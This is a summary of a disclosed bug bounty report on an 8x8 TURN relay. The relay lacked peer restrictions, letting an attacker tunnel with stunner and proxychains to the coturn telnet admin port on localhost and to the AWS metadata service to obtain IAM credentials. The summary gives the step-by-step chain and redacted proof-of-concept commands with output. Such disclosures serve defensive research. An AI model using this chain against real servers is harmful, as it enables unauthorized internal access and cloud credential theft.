# Open TURN relay abuse is possible due to lack of peer access control (Critical)

Open TURN relay without peer access control let attackers pivot to localhost coturn telnet, AWS metadata, and internal services via SOCKS proxy.

- Payout: $700
- Severity: high
- Program: 8x8
- Found by: sandrogauci
- Disclosed: 2020-06-08
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/843256
- Library page: https://bugbountylibrary.com/r/h1%3A843256
- Tags: area:devices domain:network impact:internal-access impact:privesc kind:bounty platform:hackerone sev:high tech:aws technique:chained technique:recon vuln:misconfiguration vuln:ssrf

**Target:** TURN/coturn relay server (port 443) with telnet CLI on 5766
**Root cause:** TURN server accepted arbitrary peer addresses with no restrictions (no-loopback-peers and no-multicast-peers disabled), allowing relay to loopback and internal/AWS metadata addresses.
**Steps:**
1. Extract TURN hostname and temporary credentials from Chrome devtools: filter WS connections, then filter `xmpp-websocket` messages for `type='turn'`.
2. Run `stunner recon tls://<turn-host>:443 -u <user>` to enumerate relay behavior.
3. Use stunner's port scanner and SOCKS proxy to reach `127.0.0.1:5766` (coturn telnet) and `169.254.169.254` (AWS metadata).
4. Via proxychains: `proxychains telnet 127.0.0.1 5766`, then `pc` to dump config (only `help` and `pc` were run).
5. Fetch IAM credentials for `HipChatVideo-Coturn` from AWS metadata through the relay.
**How found:** Noticed TURN credentials exposed in XMPP websocket messages via devtools; hypothesized open relay without peer ACLs and tested with stunner against loopback and metadata endpoints.
**Exploitation:** Attacker obtains TURN credentials from XMPP websocket traffic, then uses stunner to allocate relay peers pointing at loopback/internal addresses, tunneling TCP/UDP through the TURN server via a SOCKS proxy to reach coturn telnet (file write, config edit, shutdown) and AWS IMDS (IAM creds).
**Escalation:** Chained TURN relay abuse to coturn telnet control (potential RCE via file write) and AWS IAM credential theft, enabling further infrastructure penetration.
**Insight:** TURN servers are SSRF-equivalent pivots: check `no-loopback-peers`/`no-multicast-peers` and whether TCP peers are allowed, then target coturn's telnet CLI (5766) and cloud metadata via relay.

## Proof of concept (copied exactly from the original report)

**stunner recon against TURN server**

```
stunner recon tls://███████:443 -u ████████
```

**Proxychains telnet to coturn admin port**

```
proxychains -f config telnet 127.0.0.1 5766
[proxychains] config file found: config
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.13
Trying 127.0.0.1...
[proxychains] Dynamic chain  ...  127.0.0.1:9999  ...  127.0.0.1:5766  ...  OK
Connected to 127.0.0.1.
```

